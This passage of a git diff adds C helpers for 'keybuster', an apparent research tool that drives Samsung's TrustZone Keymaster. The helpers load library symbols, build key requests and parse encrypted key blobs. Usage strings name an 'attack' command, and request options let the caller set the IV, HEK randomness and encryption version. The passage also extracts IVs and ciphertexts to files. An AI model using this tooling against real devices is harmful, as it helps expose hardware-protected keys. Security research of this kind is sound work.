ASN1_item_i2d); + GET_SYMBOL(handle, ASN1_INTEGER_new); + GET_SYMBOL(handle, ASN1_INTEGER_free); + GET_SYMBOL(handle, ASN1_INTEGER_set); + GET_SYMBOL(handle, ASN1_INTEGER_dup); + GET_SYMBOL(handle, ASN1_OCTET_STRING_new); + GET_SYMBOL(handle, ASN1_OCTET_STRING_free); + GET_SYMBOL(handle, ASN1_OCTET_STRING_set); + GET_SYMBOL(handle, ASN1_OCTET_STRING_dup); + GET_SYMBOL(handle, ASN1_ENUMERATED_get); + GET_SYMBOL(handle, ASN1_ENUMERATED_set); + GET_SYMBOL(handle, sk_new_null); + GET_SYMBOL(handle, sk_push); + GET_SYMBOL(handle, sk_delete); + GET_SYMBOL(handle, sk_pop_free); + GET_SYMBOL(handle, sk_num); + GET_SYMBOL(handle, sk_value); + GET_SYMBOL(handle, SHA256); + +cleanup: + return handle; +} + +libkeymaster_helper_t *load_keymaster_helper(void) +{ + libkeymaster_helper_t *handle = create_lib_handle("libkeymaster_helper.so", sizeof(libkeymaster_helper_t)); + + if (NULL == handle) { + goto cleanup; + } + + GET_SYMBOL(handle, km_get_ASN1_INTEGER); + GET_SYMBOL(handle, km_get_ASN1_INTEGER_BN); + GET_SYMBOL(handle, km_get_ASN1_OCTET_STRING); + GET_SYMBOL(handle, km_set_ASN1_INTEGER); + GET_SYMBOL(handle, km_set_ASN1_INTEGER_BN); + GET_SYMBOL(handle, km_set_ASN1_OCTET_STRING); + GET_SYMBOL(handle, KM_INDATA_new); + GET_SYMBOL(handle, KM_INDATA_free); + GET_SYMBOL(handle, i2d_KM_INDATA); + GET_SYMBOL(handle, d2i_KM_INDATA); + GET_SYMBOL(handle, d2i_KM_OUTDATA); + GET_SYMBOL(handle, KM_OUTDATA_free); + GET_SYMBOL(handle, nwd_open_connection); + GET_SYMBOL(handle, nwd_configure); + GET_SYMBOL(handle, nwd_generate_key); + GET_SYMBOL(handle, nwd_get_key_characteristics); + GET_SYMBOL(handle, nwd_import_key); + GET_SYMBOL(handle, nwd_export_key); + GET_SYMBOL(handle, nwd_upgrade_key); +#ifdef TZOS_TEEGRIS + GET_SYMBOL(handle, get_os_version); + GET_SYMBOL(handle, get_os_patchlevel); + GET_SYMBOL(handle, get_vendor_patchlevel); +#endif // TZOS_TEEGRIS + GET_SYMBOL(handle, km_is_tag_hw); + +cleanup: + return handle; +} diff --git a/jni/core/skeymaster_libs.h b/jni/core/skeymaster_libs.h new file mode 100755 index 0000000..7cccc14 --- /dev/null +++ b/jni/core/skeymaster_libs.h @@ -0,0 +1,159 @@ +#ifndef _SKEYMASTER_LIBS_H_ +#define _SKEYMASTER_LIBS_H_ + +#include + +#include +#include + +/** @brief Allocates resources + @note Must be called before using skeymaster functions + */ +KM_Result initialize_libs(void); + +/** @brief Releases resources + */ +void destroy_libs(void); + +typedef struct lib_handle_t { + void *lib; +} lib_handle_t; + +/** @brief Exports from libcrypto.so +*/ +typedef struct libcrypto_handle_t { + void *lib; + + ASN1_ITEM *ASN1_INTEGER_it; + ASN1_ITEM *ASN1_BOOLEAN_it; + ASN1_ITEM *ASN1_ENUMERATED_it; + ASN1_ITEM *ASN1_OCTET_STRING_it; + + ASN1_VALUE * (*ASN1_item_new)(const ASN1_ITEM *it); + void (*ASN1_item_free)(ASN1_VALUE *val, const ASN1_ITEM *it); + ASN1_VALUE * (*ASN1_item_d2i)(ASN1_VALUE **val, const unsigned char **in, long len, const ASN1_ITEM *it); + int (*ASN1_item_i2d)(ASN1_VALUE *val, unsigned char **out, const ASN1_ITEM *it); + + ASN1_INTEGER * (*ASN1_INTEGER_new)(void); + void (*ASN1_INTEGER_free)(ASN1_INTEGER *a); + int (*ASN1_INTEGER_set)(ASN1_INTEGER *a, long v); + ASN1_INTEGER * (*ASN1_INTEGER_dup)(const ASN1_INTEGER *x); + + ASN1_OCTET_STRING * (*ASN1_OCTET_STRING_new)(void); + void (*ASN1_OCTET_STRING_free)(ASN1_OCTET_STRING *a); + int (*ASN1_OCTET_STRING_set)(ASN1_OCTET_STRING *str, const unsigned char *data, int len); + ASN1_OCTET_STRING * (*ASN1_OCTET_STRING_dup)(const ASN1_OCTET_STRING *a); + + long (*ASN1_ENUMERATED_get)(const ASN1_ENUMERATED *a); + int (*ASN1_ENUMERATED_set)(ASN1_ENUMERATED *a, long v); + + _STACK *(*sk_new_null)(void); + size_t (*sk_push)(_STACK *sk, void *p); + void *(*sk_delete)(_STACK *sk, size_t where); + void (*sk_pop_free)(_STACK *st, void(*func)(void *)); + int (*sk_num)(const _STACK *st); + void *(*sk_value)(const _STACK *st, int i); + + unsigned char *(*SHA256)(const unsigned char *d, size_t n, unsigned char *md); +} libcrypto_handle_t; + +/** @brief Exports from libkeymaster_helper.so +*/ +typedef struct libkeymaster_helper_t { + void *lib; + + int (*km_get_ASN1_INTEGER)(ASN1_INTEGER *integer, int32_t *out); + ASN1_INTEGER *(*km_set_ASN1_INTEGER)(long v); + + int (*km_get_ASN1_INTEGER_BN)(ASN1_INTEGER *integer, int64_t *out); + ASN1_INTEGER *(*km_set_ASN1_INTEGER_BN)(uint64_t v); + + int (*km_get_ASN1_OCTET_STRING)(ASN1_OCTET_STRING *string, uint8_t **p_out, size_t *p_len); + ASN1_OCTET_STRING *(*km_set_ASN1_OCTET_STRING)(uint8_t *data, size_t len); + + km_indata_t *(*KM_INDATA_new)(void); + void (*KM_INDATA_free)(km_indata_t *indata); + int (*i2d_KM_INDATA)(km_indata_t *indata, uint8_t **out); + km_indata_t *(*d2i_KM_INDATA)(ASN1_VALUE **val, uint8_t **in, long len); + + km_outdata_t *(*d2i_KM_OUTDATA)(ASN1_VALUE **val, uint8_t **in, long len); + void (*KM_OUTDATA_free)(km_outdata_t *outdata); + + KM_Result (*nwd_open_connection)(void); + + KM_Result (*nwd_configure)(keymaster_key_param_set_t *param_set); + + KM_Result (*nwd_generate_key)( + keymaster_key_param_set_t *param_set, + vector_t *ekey, + keymaster_key_characteristics_t *characteristics); + + KM_Result (*nwd_get_key_characteristics)( + vector_t *ekey, + vector_t *application_id, + vector_t *application_data, + keymaster_key_characteristics_t * characteristics); + + KM_Result (*nwd_import_key)( + keymaster_key_param_set_t *param_set, + long key_format, + vector_t *key_data, + vector_t *ekey, + keymaster_key_characteristics_t *characteristics); + + KM_Result (*nwd_export_key)( + long key_format, + vector_t *ekey, + vector_t *application_id, + vector_t *application_data, + vector_t *exported); + + KM_Result (*nwd_upgrade_key)( + vector_t *ekey, + keymaster_key_param_set_t *param_set, + vector_t *new_ekey); + +#ifdef TZOS_TEEGRIS + int (*get_os_version)(void); + int (*get_os_patchlevel)(void); + int (*get_vendor_patchlevel)(void); +#endif // TZOS_TEEGRIS + + int (*km_is_tag_hw)(int tag); +} libkeymaster_helper_t; + +/** @brief Load symbol from library handle (dlsym) +*/ +#define GET_SYMBOL(handle, name) \ +do { \ + handle->name = dlsym(handle->lib, #name); \ + if (NULL == handle->name) { \ + free(handle); \ + handle = NULL; \ + printf("failed to load %s\n", #name); \ + goto cleanup; } \ +} while (0) + +/** @brief Allocates a handle for the library (dlopen) + @param[in] name Library name + @param[in] size Handle struct size + @Return handle Allocated library handle +*/ +void *create_lib_handle(const char *name, size_t size); + +/** @brief Allocates a handle for libcrypto.so with the needed symbols + @Return handle Allocated library handle +*/ +libcrypto_handle_t *load_libcrypto(void); + + +/** @brief Allocates a handle for libkeymaster_helper.so with the needed symbols + @Return handle Allocated library handle +*/ +libkeymaster_helper_t *load_keymaster_helper(void); + +extern libcrypto_handle_t *g_libcrypto; + +extern libkeymaster_helper_t *g_libkeymaster_helper; + +#endif // _SKEYMASTER_LIBS_H_ diff --git a/jni/core/skeymaster_log.h b/jni/core/skeymaster_log.h new file mode 100755 index 0000000..28d8a00 --- /dev/null +++ b/jni/core/skeymaster_log.h @@ -0,0 +1,39 @@ +#ifndef _LOG_H_ +#define _LOG_H_ + +#include +#include + +#define LOG_TAG ("keybuster") + +#define Dprintf(prefix, fmt, ...) fprintf(stderr, "%s%s(), line %i: " fmt "\n", \ + prefix, __func__, __LINE__, __VA_ARGS__) + +#define DEBUG + +// #define NOLOG + +#ifdef NOLOG +#define LOGE(fmt, ...) Dprintf("", fmt, __VA_ARGS__) +#define LOGW(...) +#define LOGD(...) +#define LOGI(...) +#else // NOLOG + +#ifndef DEBUG +#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__) +#define LOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__) +#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__) +#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) +#else // DEBUG +#define LOGE(fmt, ...) Dprintf("[ERR] ", fmt, __VA_ARGS__) +#define LOGW(fmt, ...) Dprintf("[WRN] ", fmt, __VA_ARGS__) +#define LOGD(fmt, ...) Dprintf("[DBG] ", fmt, __VA_ARGS__) +#define LOGI(fmt, ...) Dprintf("[INF] ", fmt, __VA_ARGS__) +#endif // !DEBUG + +#endif // NOLOG + +#define LOG_USAGE(usage) LOGE("usage: %s", usage) + +#endif // _LOG_H_ diff --git a/jni/core/skeymaster_status.h b/jni/core/skeymaster_status.h new file mode 100644 index 0000000..08bb1ca --- /dev/null +++ b/jni/core/skeymaster_status.h @@ -0,0 +1,10 @@ +#ifndef _SKEYMASTER_STATUS_H_ +#define _SKEYMASTER_STATUS_H_ + +typedef int32_t KM_Result; + +#define KM_RESULT_SUCCESS (0) +#define KM_RESULT_INVALID (-1000) +#define KM_RESULT_UNSUPPORTED (-1001) + +#endif // _SKEYMASTER_STATUS_H_ diff --git a/jni/core/skeymaster_utils.c b/jni/core/skeymaster_utils.c new file mode 100755 index 0000000..9856e06 --- /dev/null +++ b/jni/core/skeymaster_utils.c @@ -0,0 +1,720 @@ +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +void free_key_request(key_request_t *req) +{ + if (NULL == req) { + return; + } + if (NULL != req->application_id.data){ + free(req->application_id.data); + } + if (NULL != req->application_data.data) { + free(req->application_data.data); + } + if (NULL != req->salt.data) { + free(req->salt.data); + } + if (NULL != req->iv.data) { + free(req->iv.data); + } + if (NULL != req->aad.data) { + free(req->aad.data); + } + if (NULL != req->auth_tag.data) { + free(req->auth_tag.data); + } + if (NULL != req->nonce.data) { + free(req->nonce.data); + } + memset(req, 0, sizeof(key_request_t)); +} + +const char *cmd_to_usage(const char *cmd) +{ + if (0 == strcmp(cmd, CMD_ATTACK)) { + return USAGE_ATTACK; + } + else if (0 == strcmp(cmd, CMD_GENERATE)) { + return USAGE_GENERATE; + } + else if (0 == strcmp(cmd, CMD_GET_CHARS)) { + return USAGE_GET_CHARS; + } + else if (0 == strcmp(cmd, CMD_IMPORT)) { + return USAGE_IMPORT; + } + else if (0 == strcmp(cmd, CMD_EXPORT)) { + return USAGE_EXPORT; + } + else if (0 == strcmp(cmd, CMD_UPGRADE)) { + return USAGE_UPGRADE; + } + else if (0 == strcmp(cmd, CMD_BEGIN)) { + return USAGE_BEGIN; + } + else { + return USAGE_DEFAULT; + } +} + +void print_vec(const char *name, const uint8_t *data, size_t len) +{ + if (NULL == data) { + LOGD("%s: NULL", name); + return; + } + + char *hexstring = hexlify(data, len); + if (NULL == hexstring) { + LOGE("%s() failed", "hexlify"); + return; + } + LOGD("%s: (%s, %ld)", name, hexstring, len); + free(hexstring); +} + +void print_asn1_string(const char *name, const ASN1_STRING *string) +{ + if (NULL == string) { + LOGD("%s: NULL", name); + return; + } + + print_vec(name, string->data, string->length); +} + +void print_km_param(const char *name, const km_param_t *par) +{ + int tag; + + if (NULL == par) { + LOGD("%s->par: NULL", name); + return; + } + + for (int i = 0; i < sk_num((_STACK *)par); ++i) { + km_param_t *value = (km_param_t *)sk_value((_STACK *)par, i); + if (NULL == value) { + return; + } + + if (0 != km_get_ASN1_INTEGER(value->tag, &tag)) { + LOGE("%s() failed for %s->par->tag", "km_get_ASN1_INTEGER", name); + return; + } + + LOGD("%s->par[%d]->tag: 0x%x %s", name, i, tag, get_tag_string(tag)); + print_asn1_string("par->i", value->i); + print_asn1_string("par->b", value->b); + } +} + +void print_km_indata(const km_indata_t *in) +{ + print_asn1_string("in->ver", in->ver); + print_asn1_string("in->km_ver", in->km_ver); + print_asn1_string("in->cmd", in->cmd); + print_asn1_string("in->pid", in->pid); + print_asn1_string("in->int0", in->int0); + print_asn1_string("in->long0", in->long0); + print_asn1_string("in->long1", in->long1); + print_asn1_string("in->bin0", in->bin0); + print_asn1_string("in->bin1", in->bin1); + print_asn1_string("in->bin2", in->bin2); + print_asn1_string("in->key", in->key); + print_km_param("in->par", in->par); +} + +void print_km_outdata(const km_outdata_t *out) +{ + print_asn1_string("out->ver", out->ver); + print_asn1_string("out->cmd", out->cmd); + print_asn1_string("out->pid", out->pid); + print_asn1_string("out->err", out->err); + print_asn1_string("out->int0", out->int0); + print_asn1_string("out->long0", out->long0); + print_asn1_string("out->bin0", out->bin0); + print_asn1_string("out->bin1", out->bin1); + print_asn1_string("out->bin2", out->bin2); + print_asn1_string("out->log", out->log); +} + +void print_km_key_blob(const km_key_blob_t *key_blob) +{ + print_asn1_string("key_blob->ver", (ASN1_STRING *)key_blob->ver); + print_asn1_string("key_blob->key", (ASN1_STRING *)key_blob->key); + print_km_param("key_blob", (km_param_t *)key_blob->par); +} + +void print_km_ekey_blob(const km_ekey_blob_t *ekey_blob) +{ + print_asn1_string("ekey_blob->enc_ver", (ASN1_STRING *)ekey_blob->enc_ver); + print_asn1_string("ekey_blob->ekey", (ASN1_STRING *)ekey_blob->ekey); + print_km_param("ekey_blob", (km_param_t *)ekey_blob->enc_par); +} + +void print_param_set(const keymaster_key_param_set_t *param_set) +{ + if (NULL == param_set || (NULL == param_set->params && 0 == param_set->len)) { + LOGD("%s", "param_set is NULL"); + return; + } + + LOGD("param_set->len = %lu", param_set->len); + + char *hexstring = NULL; + for (int i = 0; i < param_set->len; ++i) { + keymaster_key_param_t current = param_set->params[i]; + switch (keymaster_tag_get_type(current.tag)) { + case KM_ENUM: + case KM_ENUM_REP: + LOGD("params[%d] = (tag 0x%x %s, enum %d)", + i, current.tag, get_tag_string(current.tag), current.enumerated); + break; + case KM_UINT: + case KM_UINT_REP: + LOGD("params[%d] = (tag 0x%x %s, uint %d)", + i, current.tag, get_tag_string(current.tag), current.integer); + break; + case KM_ULONG: + case KM_ULONG_REP: + LOGD("params[%d] = (tag 0x%x %s, ulong %ld)", + i, current.tag, get_tag_string(current.tag), current.long_integer); + break; + case KM_DATE: + LOGD("params[%d] = (tag 0x%x %s, date %ld)", + i, current.tag, get_tag_string(current.tag), current.date_time); + break; + case KM_BOOL: + LOGD("params[%d] = (tag 0x%x %s, bool %d)", + i, current.tag, get_tag_string(current.tag), current.boolean); + break; + case KM_BIGNUM: + case KM_BYTES: + hexstring = hexlify(current.blob.data, current.blob.len); + if (NULL == hexstring) { + LOGE("%s() failed", "hexlify"); + break; + } + LOGD( + "params[%d] = (tag 0x%x %s, bytes %s, len %lu)", + i, current.tag, get_tag_string(current.tag), hexstring, current.blob.len); + free(hexstring); + break; + case KM_INVALID: + default: + LOGD("tag 0x%x: invalid", current.tag); + break; + } + } +} + +void print_characteristics(const keymaster_key_characteristics_t *characteristics) +{ + if (NULL == characteristics) { + LOGD("%s", "characteristics is NULL"); + return; + } + + LOGD("printing &characteristics->%s_enforced", "hw"); + print_param_set(&characteristics->hw_enforced); + LOGD("printing &characteristics->%s_enforced", "sw"); + print_param_set(&characteristics->sw_enforced); +} + +char *hexlify(const uint8_t *data, size_t len) +{ + char *hexstring = NULL; + + if (NULL == data || 0 == len) { + goto cleanup; + } + + size_t hex_size = 2 * len * sizeof(*hexstring) + 1; + if (hex_size < len) { + goto cleanup; + } + + hexstring = malloc(hex_size); + if (NULL == hexstring) { + goto cleanup; + } + memset(hexstring, 0, hex_size); + + char *ptr = hexstring; + for (size_t i = 0; i < len; ++i) { + ptr += sprintf(ptr, "%02X", data[i]); + } + hexstring[hex_size - 1] = '\0'; + +cleanup: + return hexstring; +} + +KM_Result copy_vector(vector_t *new, const uint8_t *data, size_t len) +{ + KM_Result ret = KM_RESULT_INVALID; + if (NULL == new || NULL == data) { + goto cleanup; + } + + new->len = len; + new->data = malloc(len); + if (NULL == new->data) { + LOGE("%s failed", "malloc"); + goto cleanup; + } + memcpy(new->data, data, len); + ret = KM_RESULT_SUCCESS; + +cleanup: + return ret; +} + +KM_Result replace_tag(km_param_t *par, keymaster_tag_t tag, param_tag_t *param_tag) +{ + KM_Result ret = KM_RESULT_INVALID; + if (-1 >= km_del_tag(par, tag)) { + LOGD("%s failed", "km_del_tag"); + goto cleanup; + } + + if (1 != km_add_tag(par, tag, param_tag, 0)) { + LOGD("%s failed", "km_add_tag"); + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + return ret; +} + +KM_Result get_ekey_blob(km_ekey_blob_t **p_ekey_blob, vector_t *ekey) +{ + KM_Result ret = KM_INVALID; + vector_t copy = {0}; + km_ekey_blob_t *ekey_blob = NULL; + + if (KM_RESULT_SUCCESS != copy_vector(©, ekey->data, ekey->len)) { + goto cleanup; + } + + ekey_blob = (km_ekey_blob_t *)ASN1_item_d2i( + NULL, (const uint8_t **)©.data, copy.len, &KM_EKEY_BLOB); + + if (0 == ekey_blob) { + LOGE("%s failed", "ASN1_item_d2i"); + goto cleanup; + } + + *p_ekey_blob = ekey_blob; + + ret = KM_RESULT_SUCCESS; + +cleanup: + return ret; +} + +KM_Result print_deserialized_ekey_blob(vector_t *ekey) +{ + KM_Result ret = KM_RESULT_INVALID; + km_ekey_blob_t *ekey_blob = NULL; + + if (NULL == ekey) { + goto cleanup; + } + + print_vec("ekey_blob", ekey->data, ekey->len); + + if (KM_RESULT_SUCCESS != get_ekey_blob(&ekey_blob, ekey)) { + goto cleanup; + } + + print_km_ekey_blob(ekey_blob); + + ret = KM_RESULT_SUCCESS; + +cleanup: + if (NULL != ekey_blob) { + ASN1_item_free((ASN1_VALUE *)ekey_blob, &KM_EKEY_BLOB); + } + + return ret; +} + +KM_Result get_ekey_blob_tag(vector_t *ekey, keymaster_tag_t tag, param_tag_t *param_tag) +{ + KM_Result ret = KM_RESULT_INVALID; + km_ekey_blob_t *ekey_blob = NULL; + + if (NULL == ekey) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != get_ekey_blob(&ekey_blob, ekey)) { + goto cleanup; + } + + if (1 != km_get_tag(ekey_blob->enc_par, tag, 0, param_tag)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + if (NULL != ekey_blob) { + ASN1_item_free((ASN1_VALUE *)ekey_blob, &KM_EKEY_BLOB); + } + + return ret; +} + +KM_Result get_ekey_blob_encrypted(vector_t *ekey, vector_t *encrypted) +{ + KM_Result ret = KM_RESULT_INVALID; + km_ekey_blob_t *ekey_blob = NULL; + + if (NULL == ekey) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != get_ekey_blob(&ekey_blob, ekey)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != copy_vector(encrypted, ekey_blob->ekey->data, ekey_blob->ekey->length)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + if (NULL != ekey_blob) { + ASN1_item_free((ASN1_VALUE *)ekey_blob, &KM_EKEY_BLOB); + } + + return ret; +} + +KM_Result save_iv_and_ekey(const char *ekey_path, vector_t *ekey) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t iv = {0}; + vector_t encrypted = {0}; + + if (0 != get_ekey_blob_tag(ekey, KM_TAG_EKEY_BLOB_IV, (param_tag_t *)&iv)) { + goto cleanup; + } + + if (0 != get_ekey_blob_encrypted(ekey, &encrypted)) { + goto cleanup; + } + + if (0 != save_related_file(ekey_path, "iv-", "", iv.data, iv.len)) { + LOGE("failed to extract %s", "iv"); + goto cleanup; + } + + if (0 != save_related_file(ekey_path, "encrypted-", "", encrypted.data, encrypted.len)) { + LOGE("failed to extract %s", "encrypted"); + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + if (NULL != iv.data) { + free(iv.data); + } + if (NULL != encrypted.data) { + free(encrypted.data); + } + return ret; +} + +KM_Result parse_asn1(const char *ekey_path) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t ekey = {0}; + + if (NULL == ekey_path) { + LOGE("invalid ekey_path %s (specify -e )", "null"); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != prepare_keymaster()) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != READ_FILE(ekey_path, &ekey.data, &ekey.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != save_iv_and_ekey(ekey_path, &ekey)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != print_deserialized_ekey_blob(&ekey)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + return ret; +} + +KM_Result add_aad_to_ekey(const vector_t *aad, vector_t *ekey) +{ + KM_Result ret = KM_RESULT_INVALID; + ASN1_OCTET_STRING *changed_ekey = NULL; + km_ekey_blob_t *ekey_blob = NULL; + + if (NULL == aad || NULL == aad->data || 0 == aad->len) { + ret = 0; + goto cleanup; + } + + if (KM_RESULT_SUCCESS != get_ekey_blob(&ekey_blob, ekey)) { + goto cleanup; + } + + if (1 != km_add_tag(ekey_blob->enc_par, KM_TAG_ASSOCIATED_DATA, (param_tag_t *)aad, 0)) { + goto cleanup; + } + + changed_ekey = encode_ekey_blob(ekey_blob); + free(ekey->data); + if (KM_RESULT_SUCCESS != copy_vector(ekey, changed_ekey->data, changed_ekey->length)) { + LOGE("%s failed", "copy_vector"); + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + if (NULL != changed_ekey) { + ASN1_OCTET_STRING_free(changed_ekey); + } + if (NULL != ekey_blob) { + ASN1_item_free((ASN1_VALUE *)ekey_blob, &KM_EKEY_BLOB); + } + + return ret; +} + +KM_Result init_basic_param_set( + vector_t *application_id, + vector_t *application_data, + keymaster_key_param_set_t *param_set) +{ + KM_Result ret = KM_RESULT_INVALID; + param_set->len = 0; + + if (NULL != application_id && 0 != application_id->len && + 0 != add_blob_to_param_set(param_set, KM_TAG_APPLICATION_ID, application_id)) { + LOGE("failed to add %s", "application_id"); + goto cleanup; + } + + if (NULL != application_data && 0 != application_data->len && + 0 != add_blob_to_param_set(param_set, KM_TAG_APPLICATION_DATA, application_data)) { + LOGE("failed to add %s", "application_data"); + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + if (KM_RESULT_SUCCESS != ret) { + keymaster_free_param_set(param_set); + } + return ret; +} + +KM_Result add_aes_parameters(key_request_t *req, keymaster_key_param_set_t *param_set) +{ + KM_Result ret = KM_RESULT_INVALID; + if (NULL == param_set->params) { + goto cleanup; + } + + if (0 != add_int_to_param_set(param_set, KM_TAG_ALGORITHM, KM_ALGORITHM_AES)) { + goto cleanup; + } + + if (0 != add_bool_to_param_set(param_set, KM_TAG_NO_AUTH_REQUIRED)) { + goto cleanup; + } + + if (KM_MODE_GCM == req->mode) { + if (0 != add_int_to_param_set(param_set, KM_TAG_BLOCK_MODE, KM_MODE_GCM)) { + goto cleanup; + } + if (0 != add_int_to_param_set(param_set, KM_TAG_MIN_MAC_LENGTH, 128)) { + goto cleanup; + } + if (0 != add_int_to_param_set(param_set, KM_TAG_MAC_LENGTH, 128)) { + goto cleanup; + } + } + else { + if (0 != add_int_to_param_set(param_set, KM_TAG_BLOCK_MODE, KM_MODE_ECB)) { + goto cleanup; + } + if (0 != add_int_to_param_set(param_set, KM_TAG_BLOCK_MODE, KM_MODE_CBC)) { + goto cleanup; + } + if (0 != add_int_to_param_set(param_set, KM_TAG_BLOCK_MODE, KM_MODE_CTR)) { + goto cleanup; + } + } + + if (NULL != req->nonce.data && 0 != add_blob_to_param_set(param_set, KM_TAG_NONCE, &req->nonce)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + return ret; +} + +KM_Result add_rsa_parameters(key_request_t *req, keymaster_key_param_set_t *param_set) +{ + KM_Result ret = KM_RESULT_INVALID; + if (NULL == param_set->params) { + goto cleanup; + } + + if (0 != add_int_to_param_set(param_set, KM_TAG_ALGORITHM, KM_ALGORITHM_RSA)) { + goto cleanup; + } + + if (0 != add_bool_to_param_set(param_set, KM_TAG_NO_AUTH_REQUIRED)) { + goto cleanup; + } + + // keymaster supports only 3 or 0x10001 + if (0 != add_int_to_param_set(param_set, KM_TAG_RSA_PUBLIC_EXPONENT, req->public_exponent)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + return ret; +} + +KM_Result add_ec_parameters(key_request_t *req, keymaster_key_param_set_t *param_set) +{ + KM_Result ret = KM_RESULT_INVALID; + if (NULL == param_set->params) { + goto cleanup; + } + + if (0 != add_int_to_param_set(param_set, KM_TAG_ALGORITHM, KM_ALGORITHM_EC)) { + goto cleanup; + } + + if (0 != add_bool_to_param_set(param_set, KM_TAG_NO_AUTH_REQUIRED)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + return ret; +} + +KM_Result init_key_request( + key_request_t *req, + keymaster_key_param_set_t *param_set) +{ + KM_Result ret = KM_RESULT_INVALID; + + if (KM_RESULT_SUCCESS != init_basic_param_set(&req->application_id, &req->application_data, param_set)) { + goto cleanup; + } + + if (NULL != req->aad.data && 0 != add_blob_to_param_set(param_set, KM_TAG_ASSOCIATED_DATA, &req->aad)) { + LOGE("failed to add %s", "aad"); + goto cleanup; + } + + if (NULL != req->iv.data && 0 != add_blob_to_param_set(param_set, KM_TAG_EKEY_BLOB_IV, &req->iv)) { + LOGE("failed to add %s", "iv"); + goto cleanup; + } + + if (NULL != req->hek_randomness.data && 0 != add_blob_to_param_set(param_set, KM_TAG_EKEY_BLOB_HEK_RANDOMNESS, &req->hek_randomness)) { + LOGE("failed to add %s", "aad"); + goto cleanup; + } + + if (0 != req->is_plain && 0 != add_int_to_param_set(param_set, KM_TAG_EKEY_IS_KEY_BLOB_PLAIN, req->is_plain)) { + LOGE("failed to add %s", "is_plain"); + goto cleanup; + } + + if (0 != req->is_exportable && 0 != add_bool_to_param_set(param_set, KM_TAG_EXPORTABLE)) { + LOGE("failed to add %s", "KM_TAG_EXPORTABLE"); + goto cleanup; + } + + if (-1 != req->enc_ver && 0 != add_int_to_param_set(param_set, KM_TAG_EKEY_BLOB_ENC_VER, req->enc_ver)) { + LOGE("failed to add %s", "KM_TAG_EKEY_BLOB_ENC_VER"); + goto cleanup; + } + + if (-1 != req->purpose && 0 != add_int_to_param_set(param_set, KM_TAG_PURPOSE, req->purpose)) { + LOGE("failed to add %s", "KM_TAG_PURPOSE"); + goto cleanup; + } + + if (-1 != req->padding && 0 != add_int_to_param_set(param_set, KM_TAG_PADDING, req->padding)) { + LOGE("failed to add %s", "KM_TAG_PADDING"); + goto cleanup; + } + + if (-1 != req->digest && 0 != add_int_to_param_set(param_set, KM_TAG_DIGEST, req->digest)) { + LOGE("failed to add %s", "KM_TAG_DIGEST"); + goto cleanup; + } + + if (0 != req->key_size && 0 != add_int_to_param_set(param_set, KM_TAG_KEY_SIZE, req->key_size)) { + goto cleanup; + } + + switch (req->algorithm) { + case KM_ALGORITHM_AES: + ret = add_aes_parameters(req, param_set); + break; + + case KM_ALGORITHM_RSA: + ret = add_rsa_parameters(req, param_set); + break; + + case KM_ALGORITHM_EC: + ret = add_ec_parameters(req, param_set); + break; + + default: + ret = KM_RESULT_UNSUPPORTED; + break; + } + +cleanup: + return ret; +} diff --git a/jni/core/skeymaster_utils.h b/jni/core/skeymaster_utils.h new file mode 100755 index 0000000..78aeb01 --- /dev/null +++ b/jni/core/skeymaster_utils.h @@ -0,0 +1,194 @@ +#ifndef _SKEYMASTER_UTILS_H_ +#define _SKEYMASTER_UTILS_H_ + +#include +#include +#include + +#define CMD_ATTACK ("attack") +#define CMD_GENERATE ("generate") +#define CMD_GET_CHARS ("get_chars") +#define CMD_IMPORT ("import") +#define CMD_EXPORT ("export") +#define CMD_UPGRADE ("upgrade") +#define CMD_BEGIN ("begin") +#define CMD_PARSE_ASN1 ("parse_asn1") + +#define USAGE_DEFAULT ("keybuster -c -i -d [-e ] [-p ]") +#define USAGE_ATTACK ("keybuster -c attack -i -d -p -e -s -o ") +#define USAGE_GENERATE ("keybuster -c generate -i -d -e --key-size ") +#define USAGE_GET_CHARS ("keybuster -c get_chars -i -d -e ") +#define USAGE_IMPORT ("keybuster -c import -i -d -e -p ") +#define USAGE_EXPORT ("keybuster -c export -i -d -e ") +#define USAGE_UPGRADE ("keybuster -c upgrade -i -d -e ") +#define USAGE_BEGIN ("keybuster -c begin -i -d -e --purpose --padding none") + +/** @brief Return usage string for the given command + @param[in] cmd Command + @Return usage string +*/ +const char *cmd_to_usage(const char *cmd); + +/** @brief Log given vector + @param[in] name Prefix + @param[in] data The data to log + @param[in] len The length of the data +*/ +void print_vec(const char *name, const uint8_t *data, size_t len); + +/** @brief Log given ASN1_STRING + @param[in] name Prefix + @param[in] string The ASN1_STRING to log +*/ +void print_asn1_string(const char *name, const ASN1_STRING *string); + +/** @brief Log given km_param_t + @param[in] name Prefix + @param[in] par The km_param_t to log +*/ +void print_km_param(const char *name, const km_param_t *par); + +/** @brief Log given km_indata_t + @param[in] in The km_indata_t to log +*/ +void print_km_indata(const km_indata_t *in); + +/** @brief Log given km_outdata_t + @param[in] out The km_outdata_t to log +*/ +void print_km_outdata(const km_outdata_t *out); + +/** @brief Log given km_key_blob_t + @param[in] key_blob The km_key_blob_t to log +*/ +void print_km_key_blob(const 